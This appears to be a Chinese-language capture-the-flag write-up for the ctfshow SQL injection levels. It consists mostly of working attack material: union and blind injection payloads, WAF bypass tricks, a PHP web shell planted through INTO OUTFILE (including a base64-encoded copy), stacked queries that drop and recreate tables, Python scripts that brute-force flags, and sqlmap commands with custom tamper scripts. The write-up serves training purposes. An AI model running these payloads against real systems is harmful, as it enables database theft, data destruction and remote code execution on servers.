//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

url/api/?page=1&limit=10&id=1'or'1'='1

url/api/?page=1&limit=10&id=99'or id='26

select username,password from user where username !='flag' and id = '99'or id='26' limit 1;

select username,password from user where username !='flag' and id = '1'or'1'='1' limit 1;
# 等价于
select username, password from user limit 1;

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

//检查结果是否有flag
    if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }

-1' union select id,password from ctfshow_user2 where username = 'flag

select username,password from user where username !='flag' and id = '-1' union select id,password from ctfshow_user2 where username = 'flag' limit 1;

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";

//检查结果是否有flag
    if(!preg_match('/flag/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

-1'union select id,hex(username),password from ctfshow_user3 where username='flag

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";

//检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

i = 0
s = f"replace(password,{i},'{chr(ord(str(i)) + 55)}')"
for i in range(1,10):
    s = f"replace({s},{i},'{chr(ord(str(i)) + 55)}')"
print(s)

-1'union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,0,'g'),1,'h'),2,'i'),3,'j'),4,'k'),5,'l'),6,'m'),7,'n'),8,'o'),9,'p') from ctfshow_user4--+

flag = 'ctfshow{fgggaeje-lljd-kkjd-ojoo-akhdefbmdlbb}'

for i in range(10):
    flag = flag.replace(chr(ord(str(i)) + 55), str(i))
print(flag)

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";

//检查结果是否有flag
    if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

-1'union select username,password from ctfshow_user5 into outfile '/var/www/html/flag.txt'%23

-1'union select 2,"<?php @eval($_POST['cmd']); ?>" into outfile '/var/www/html/1.php'%23

-1'union select 1,from_base64("PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7ID8+") into outfile '/var/www/html/1.php'%23

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单，不宜展示
  }

1' or '1'='1

-1' or id='26
-1' or username='flag

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单，不宜展示
  }

-1'/**/or/**/username='flag
-1'/**/or/**/username/**/like/**/'%f%

# 反引号
-1'/**/union/**/select/**/1,(select`password`from`ctfshow_user`where`username`='flag'),3%23
# 单引号
-1'/**/union/**/select'1',(select`password`from`ctfshow_user`where`username`='flag'),3%23

-1'%0aor%0ausername='flag

-1'union%0aselect%0a1,(select`password`from`ctfshow_user`where`username`='flag'),3%23

-1'%0cor%0cusername='flag

-1'union%0cselect'1',(select`password`from`ctfshow_user`where`username`='flag'),3%23

-1'union%0cselect'1',2,'3

-1'%0cor%0cusername='flag

-1'union%0cselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'3

//对传入的参数进行了过滤, 别问为什么%0c能过, 我也很奇怪
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
  }

-1'%0cor%0cusername='flag

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
  }

-1'%0cor%0cusername%0clike'%fla%

//拼接sql语句查找指定ID用户
  $sql = "select count(pass) from ".$_POST['tableName'].";";

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
  }

//返回用户表的记录总数
      $user_count = 0;

假设 ctfshow_user 表有以下记录：
| id | pass     |
|  1 | password |
|  2 | ctf123   |
|  3 | secret   |
|  4 | ctf_flag |

执行查询 select * from ctfshow_user where pass regexp("ctf") 将返回：
| id | pass   |
|  2 | ctf123 |
|  4 | ctf_flag |

POST:
tableName=`ctfshow_user`where`pass`regexp("ctf...")

# @email: h1xa@ctfer.com
# @link: https://ctfer.com
import requests
import time

# 每秒发送不超过5个请求
url = "http://149a696c-8ee7-4dfa-ab40-c880151a92e8.challenge.ctf.show/select-waf.php"

flagstr = "{-abcdefghijklmnopqrstuvwxyz0123456789}"
flag = ""

for i in range(0, 40):
    for x in flagstr:
        data = {
            "tableName": "`ctfshow_user`where`pass`regexp(\"ctfshow{}\")".format(flag + x)
        }
        response = requests.post(url, data=data)
        time.sleep(0.3)

        if response.text.find("user_count = 1;") > 0:
            print("{} is right".format(x))
            flag += x
            break
        else:
            print("{} is wrong".format(x))
            continue
    print(flag)
# {ed3cafbe-3c08-4f03-a681-00caea535ae4}

//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ".$_POST['tableName'].";";

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

//返回用户表的记录总数
      $user_count = 0;

select count(*) from user group by username having username='flag'
select count(*) from user group by username having username regexp(0x666c6167)
# flag的十六进制

POST:
tableName=ctfshow_user group by pass having pass regexp(0x...)

# 官方的
def str2hex(str):
    a = ""
    for i in str:
        a +=hex(ord(i))
    return a.replace("0x","")

# 换一种也行
def str2hex(input_str):
    hex_list = []
    for char in input_str:
        hex_list.append(hex(ord(char))[2:])  # 直接取 '0x' 后的部分
    return ''.join(hex_list)

# @email: h1xa@ctfer.com
# @link: https://ctfer.com
import requests
import time

# 每秒发送不超过5个请求
url = "http://6fa72a2a-0ca0-4882-b307-24f315e1804b.challenge.ctf.show/select-waf.php"
flagstr = "{}-abcdefghijklmnopqrstuvwxyz0123456789"


def str2hex(input_str):
    hex_list = []
    for char in input_str:
        hex_list.append(hex(ord(char))[2:])  # 直接取 '0x' 后的部分
    return ''.join(hex_list)


def main():
    flag = ""
    for i in range(0, 40):
        for x in flagstr:
            data = {
                "tableName": "ctfshow_user group by pass having pass regexp(0x63746673686f77{})".format(str2hex(flag + x))
            }
            response = requests.post(url, data=data)
            time.sleep(0.3)

            if response.text.find("user_count = 1;") > 0:
                print("{} is right".format(x))
                flag += x
                break
            else:
                print("{} is wrong".format(x))
                continue
        print(flag)


if __name__ == '__main__':
    main()

# {af4515fa-97ae-4fd0-b6d2-0151465cef51}

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }
# 查询和返回不变, 还是爆破

select true+true;		# 返回2
select concat((true+true),(true+true));		# 返回22
select concat((true+true),(true+true),'f');		# 返回22f
select false;		# 返回0
select concat(false);		# 返回0

import string

import requests

url = 'http://e5df6fcd-a811-4d47-a7d4-4e57d70037df.challenge.ctf.show/select-waf.php'
payload = 'ctfshow_user group by pass having pass like(concat({}))'
flag = 'ctfshow{'


def createNum(n):
    num = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            num += "+true"
        return num


def createStrNum(c):
    str = ''
    str += 'chr(' + createNum(ord(c[0])) + ')'
    for i in c[1:]:
        str += ',chr(' + createNum(ord(i)) + ')'
    return str


uuid = string.ascii_lowercase + string.digits + "-{}"

for i in range(1, 50):
    for j in uuid:
        payload1 = payload.format(createStrNum(flag + j + "%"))
        # print(payload1)
        data = {
            'tableName': payload1
        }
        re = requests.post(url=url, data=data)
        if "$user_count = 0;" not in re.text:
            flag += j
            print(flag)
            if j == '}':
                exit()
            break

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }
# 其他不变

//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";

# 返回逻辑
    $username = $_POST['username'];
    $password = md5($_POST['password'],true);
    //只有admin可以获得flag
    if($username!='admin'){
        $ret['msg']='用户名不存在';
        die(json_encode($ret));
    }

# 不可行
select count(*) from user where username =''or'aaaa';
# 可行
select count(*) from user where username =''or'6aaaa';

POST:
username=admin&password=ffifdyop

 //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username}";

  //用户名检测
  if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==intval($password)){
      $ret['msg']='登陆成功';
      array_push($ret['data'], array('flag'=>$flag));
    }

POST:
username=0&password=0

  //用户名检测
  if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

import requests
import time

url = "http://c9ec4901-3538-48f2-9ce5-4aa9fc7b17d1.challenge.ctf.show/api/index.php"
str = "{}-0123456789abcdefghijklmnopqrstuvwxyz"
flag = "ctfshow{"

for i in range(0, 100):
    for j in str:
        result = flag + j
        data = {
            "username": "if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)".format(result),
            "password": 0
        }
        res = requests.post(url=url, data=data)
        if r"\u5bc6\u7801\u9519\u8bef" in res.text:
            flag += j
            print(flag)
            if j == "}":
                exit()
            break
# ctfshow{7f8b065e-9817-4ae2-a14d-e39615b7ecae}

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = '{$username}'";

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥，奇怪

admin' and 1=1		# 密码错误
admin' and 1=2		# 用户名不存在

from requests import post
from string import digits, ascii_lowercase

url = 'http://591b6da2-b965-4ff3-a8f4-826f177ed92d.challenge.ctf.show/api/'
# 数据库值: ctfshow_web
# payload = 'admin\' and (select database()) regexp \'{}\' #'
# 表名: ctfshow_fl0g
# payload = 'admin\' and (select group_concat(table_name) from information_schema.tables where table_schema = database()) regexp \'{}\' #'
# 字段: id,f10g
# payload = 'admin\' and (select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = \'ctfshow_fl0g\') regexp \'{}\' #'
# 拿到flag: ctfshow{f8302835-ac04-49e8-ba2c-4ee474890ac4}
payload = 'admin\' and (select f1ag from ctfshow_fl0g) regexp \'{}\' #'
flag = 'ctfshow{'
# flag需要修改, 不能留空

if __name__ == '__main__':
    while True:
        for c in '-}_' + digits + ascii_lowercase:
            resp = post(url, {'username': payload.format(flag + c), 'password': '123'})
            if '密码错误' in resp.json().get('msg'):
                flag += c
                print(flag)
                if c == '}':
                    exit()
                break

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = '{$username}'";

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥，奇怪
    if(preg_match('/file|into|ascii/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

import time
import requests

url = "http://35ecca49-f83a-4220-801d-e0ec911b111d.challenge.ctf.show/api/"
flag = ""

for i in range(1, 60):
    max = 127
    min = 32
    while 1:
        mid = (max + min) >> 1
        if min == mid:
            flag += chr(mid)
            print(flag)
            if chr(mid) == '}':
                exit()
            break

        payload = "admin'and (ord(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i, mid)

        data = {
            "username": payload,
            "password": 0
        }

        res = requests.post(url=url, data=data)
        time.sleep(0.3)
        if res.text.find("8bef") > 0:
            max = mid
        else:
            min = mid

from requests import post
from string import digits, ascii_lowercase

url = 'http://35ecca49-f83a-4220-801d-e0ec911b111d.challenge.ctf.show/api/'
# 数据库值: ctfshow_web
# payload = 'admin\' and (select database()) regexp \'{}\' #'
# 表名: ctfshow_fl0g
# payload = 'admin\' and (select group_concat(table_name) from information_schema.tables where table_schema = database()) regexp \'{}\' #'
# 字段: id,f10g
# payload = 'admin\' and (select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = \'ctfshow_fl0g\') regexp \'{}\' #'
# 拿到flag: ctfshow{f8302835-ac04-49e8-ba2c-4ee474890ac4}
payload = 'admin\' and (select f1ag from ctfshow_fl0g) regexp \'{}\' #'
flag = 'ctfshow{'
# flag需要修改, 不能留空

if __name__ == '__main__':
    while True:
        for c in '-}_' + digits + ascii_lowercase:
            resp = post(url, {'username': payload.format(flag + c), 'password': '123'})
            if '密码错误' in resp.json().get('msg'):
                flag += c
                print(flag)
                if c == '}':
                    exit()
                break

  //TODO:感觉少了个啥，奇怪
    if(preg_match('/file|into|ascii|ord|hex/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

import requests

url = "http://92c1fd93-611c-4f22-b429-69e3a1a1ac3a.challenge.ctf.show/api/"
flagstr = "{}-abcdefghijklmnopqrstuvwxyz0123456789"
flag = ""

for i in range(1, 60):
    for mid in flagstr:
        payload = "admin'and ((substr((select f1ag from ctfshow_fl0g),{},1)='{}'))#".format(i, mid)

        data = {
            "username": payload,
            "password": 0
        }

        res = requests.post(url=url, data=data)
        if res.text.find("8bef") > 0:
            flag += mid
            print(flag)
            if mid == '}':
                exit()
            break

# 查数据库
payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查字段
payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
# 查flag
payload = "select group_concat(f1ag) from ctfshow_fl0g"

'username': "admin' and if(substr(({payload}),{i},1)='{mid}', 1, 2) = '1",

  //TODO:感觉少了个啥，奇怪
    if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

select * from users where username = 'admin'and ((left((select flag from falg),1)='a'));

import requests

url = "http://1f12c9cc-044c-441b-9a8b-0d69e978258d.challenge.ctf.show/api/"
flagstr = ",_{}-abcdefghijklmnopqrstuvwxyz0123456789"
tempstr = ""
flag = ""

for i in range(1, 60):
    for mid in flagstr:
        # 数据库:
        # payload = "admin'and ((left((select database()),{})='{}'))#".format(i, tempstr + mid)
        # 表名: ctfshow_flxg,ctfshow_user
        # payload = "admin'and ((left((select group_concat(table_name) from information_schema.tables where table_schema = database()),{})='{}'))#".format(i, tempstr + mid)
        # 字段: id,f1ag
        # payload = "admin'and ((left((select group_concat(column_name) from information_schema.columns where table_name = 'ctfshow_flxg'),{})='{}'))#".format(i, tempstr + mid)
        # 获取flag:
        payload = "admin'and ((left((select f1ag from ctfshow_flxg),{})='{}'))#".format(i, tempstr + mid)

        data = {
            "username": payload,
            "password": 0
        }
        res = requests.post(url=url, data=data)
        if res.text.find("8bef") > 0:
            tempstr += mid
            flag += mid
            print(flag)
            if mid == '}':
                exit()
            break

  //TODO:感觉少了个啥，奇怪
    if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

# 返回a
select lpad("abc",1,'');
# 返回ab
select lpaf("abc",2,'');

//拼接sql语句查找指定ID用户, 单引号又没了
$sql = "select pass from ctfshow_user where username = {$username};";

//TODO:感觉少了个啥，奇怪,不会又双叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

POST:
username=0;update`ctfshow_user`set`pass`=1&password=1

POST:
username=0&password=1

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";

//TODO:感觉少了个啥，奇怪,不会又双叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if(strlen($username)>16){
    $ret['msg']='用户名不能超过16个字符';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

POST:
username=0&password=passwordAUTO

POST:
username=1;select(1)&password=1

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";

  //TODO:感觉少了个啥，奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

drop table ctfshow_user;
create table ctfshow_user(`username` varchar(100),`pass` varchar(100));
insert ctfshow_user(`username`,`pass`) value(1,2);

POST:
username=0;drop table ctfshow_user; create table ctfshow_user(`username` varchar(100),`pass` varchar(100)); insert ctfshow_user(`username`,`pass`) value(1,2);&password=1

  //TODO:感觉少了个啥，奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

alter table ctfshow_user change `username` `passw2` varchar(100);
alter table ctfshow_user change `pass` `username` varchar(100);
alter table ctfshow_user change `passw2` `pass` varchar(100);

insert ctfshow_user(`username`,`pass`) value(1,2)

  //TODO:感觉少了个啥，奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

alter table ctfshow_user change `username` `passw2` text;
alter table ctfshow_user change `pass` `username` text;
alter table ctfshow_user change `passw2` `pass` text;

  //TODO:感觉少了个啥，奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

# 判断注入
python3 .\sqlmap.py -u "http://f12920c7-3414-4fbf-b2af-93df28bd0172.challenge.ctf.show/api/?id=1" --user-agent=sqlmap --referer=ctf.show
# 数据库
python3 .\sqlmap.py -u "http://f12920c7-3414-4fbf-b2af-93df28bd0172.challenge.ctf.show/api/?id=1" --user-agent=sqlmap --referer=ctf.show --dbs
# 表
python3 .\sqlmap.py -u "http://f12920c7-3414-4fbf-b2af-93df28bd0172.challenge.ctf.show/api/?id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables
# 字段(可以跳过)
python3 .\sqlmap.py -u "http://f12920c7-3414-4fbf-b2af-93df28bd0172.challenge.ctf.show/api/?id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --columns
# 值
python3 .\sqlmap.py -u "http://f12920c7-3414-4fbf-b2af-93df28bd0172.challenge.ctf.show/api/?id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

python3 .\sqlmap.py -u "http://97472135-302e-4f32-a7f3-d798ce3c0271.challenge.ctf.show/api/" --data "id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

python3 .\sqlmap.py -u "http://ab638a67-33f8-42c9-9323-11c2d3040f39.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain -D ctfshow_web -T ctfshow_user --dump

python3 .\sqlmap.py -u "http://752f281b-5cfc-435a-8400-abc6f24d4b92.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --cookie="PHPSESSID=5ktroj6g93e37kht5i4p5j6sd4;ctfshow=acbe58269fae75b2123e21cbf892ce7a" -D ctfshow_web -T ctfshow_user --dump

python3 .\sqlmap.py -u "http://2fb4d7c7-dbe1-4aa1-a983-a2c4aab2d9e7.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --safe-url="http://2fb4d7c7-dbe1-4aa1-a983-a2c4aab2d9e7.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=g8e78tvkumdeac399oq5q7ma1r" -D ctfshow_web --tables

python3 .\sqlmap.py -u "http://2fb4d7c7-dbe1-4aa1-a983-a2c4aab2d9e7.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --safe-url="http://2fb4d7c7-dbe1-4aa1-a983-a2c4aab2d9e7.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=g8e78tvkumdeac399oq5q7ma1r" -D ctfshow_web -T ctfshow_flax --dump

//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";

python3 .\sqlmap.py -u "http://24a7ddb6-57f4-4f4a-8be5-cd8bd6bbe94f.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --safe-url="http://24a7ddb6-57f4-4f4a-8be5-cd8bd6bbe94f.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=i5h52knr3c0gcir1bk2p7na87v" --prefix="')" --suffix="#" -D ctfshow_web --tables

python3 .\sqlmap.py -u "http://24a7ddb6-57f4-4f4a-8be5-cd8bd6bbe94f.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --safe-url="http://24a7ddb6-57f4-4f4a-8be5-cd8bd6bbe94f.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=i5h52knr3c0gcir1bk2p7na87v" --prefix="')" --suffix="#" -D ctfshow_web -T ctfshow_flaxc --dump

//对传入的参数进行了过滤
  function waf($str){
   return preg_match('/ /', $str);
  }

python3 .\sqlmap.py -u "http://a114a81d-81f0-4c1d-9587-4417766490b5.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --safe-url="http://a114a81d-81f0-4c1d-9587-4417766490b5.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=cg94j982tfcuo95gcqjpc7lttp" --prefix="')" --suffix="#" --tamper=space2comment -D ctfshow_web --tables

python3 .\sqlmap.py -u "http://a114a81d-81f0-4c1d-9587-4417766490b5.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --safe-url="http://a114a81d-81f0-4c1d-9587-4417766490b5.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=cg94j982tfcuo95gcqjpc7lttp" --prefix="')" --suffix="#" --tamper=space2comment -D ctfshow_web -T ctfshow_flaxca --dump

//对传入的参数进行了过滤
// $id = str_replace('select', '', $id);
  function waf($str){
   return preg_match('/ /', $str);
  }

python3 .\sqlmap.py -u "http://06e1020c-46ca-4bfa-bf50-404bcba0d0f8.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --safe-url="http://06e1020c-46ca-4bfa-bf50-404bcba0d0f8.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=osljp7s3hvh72lvml0h119jrmh" --prefix="')" --suffix="#" --tamper=space2comment -D ctfshow_web -T ctfshow_flaxcac --dump

//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";

//对传入的参数进行了过滤
  function waf($str){
   //TODO 未完工
   return preg_match('/ |\*|\=/', $str);
  }

#!/usr/bin/env python

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def tamper(payload, **kwargs):
    retVal = payload
    if payload:
        retVal = retVal.replace("COUNT(*)", "COUNT(id)")
        retVal = retVal.replace(" ", chr(0x09))
        retVal = retVal.replace("=", chr(0x09) + "like" + chr(0x09))

    return retVal

python3 .\sqlmap.py -u "http://900ed93c-c2c6-4ada-8843-0cbd07fa0a2f.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --safe-url="http://900ed93c-c2c6-4ada-8843-0cbd07fa0a2f.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=4klk7a5hn71prtgqum1e50dmbu" --tamper=personal -D ctfshow_web --tables

python3 .\sqlmap.py -u "http://900ed93c-c2c6-4ada-8843-0cbd07fa0a2f.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --safe-url="http://900ed93c-c2c6-4ada-8843-0cbd07fa0a2f.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=6cp2hdmtd3tmtolmh0nium5jn1" --tamper=personal -D ctfshow_web -T ctfshow_flav --dump

#!/usr/bin/env python

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW


def tamper(payload, **kwargs):

    retVal = payload
    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x0a)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == '=':
                retVal += chr(0x0a) + 'like' + chr(0x0a)
                continue

            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x0a)
                continue

            retVal += payload[i]

    return retVal

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }

#!/usr/bin/env python

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
import string

__priority__ = PRIORITY.LOW


def tamper(payload, **kwargs):
    retVal = payload
    if payload:
        payload = payload[::-1].encode()
        payload = base64.b64encode(payload)
        payload = (payload.decode())[::-1]
        payload = base64.b64encode(payload.encode())
        retVal = payload.decode()

    return retVal

python3 .\sqlmap.py -u "http://0e357e82-37a8-43ec-9606-dd90eee5d390.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --safe-url="http://0e357e82-37a8-43ec-9606-dd90eee5d390.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=urg0ta0238vngcc04h9p5mll50" --tamper=personal -D ctfshow_web --tables

python3 .\sqlmap.py -u "http://0e357e82-37a8-43ec-9606-dd90eee5d390.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --safe-url="http://0e357e82-37a8-43ec-9606-dd90eee5d390.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=urg0ta0238vngcc04h9p5mll50" --tamper=personal -D ctfshow_web -T ctfshow_flavi --dump

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }
function waf($str){
    return preg_match('/ /', $str);
}

#!/usr/bin/env python

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
import string

__priority__ = PRIORITY.LOW


def tamper(payload, **kwargs):
    retVal = payload
    if payload:
        payload = payload.replace(" ", chr(0x0a))
        payload = payload[::-1].encode()
        payload = base64.b64encode(payload)
        payload = (payload.decode())[::-1]
        payload = base64.b64encode(payload.encode())
        retVal = payload.decode()

    return retVal

python3 .\sqlmap.py -u "http://80b02ad6-2024-4835-a430-fed169bff73b.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --safe-url="http://80b02ad6-2024-4835-a430-fed169bff73b.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=bcluqhthjg7ikn0i7qee5dcstc" --tamper=personal -D ctfshow_web -T ctfshow_flavia --dump

if payload:
    retVal = retVal.replace(" ",chr(0x0a))
    retVal = base64.b64encode(retVal[::-1].encode ('utf-8'))
    retVal = base64.b64encode(retVal[::-1]).decode('utf-8')

#!/usr/bin/env python

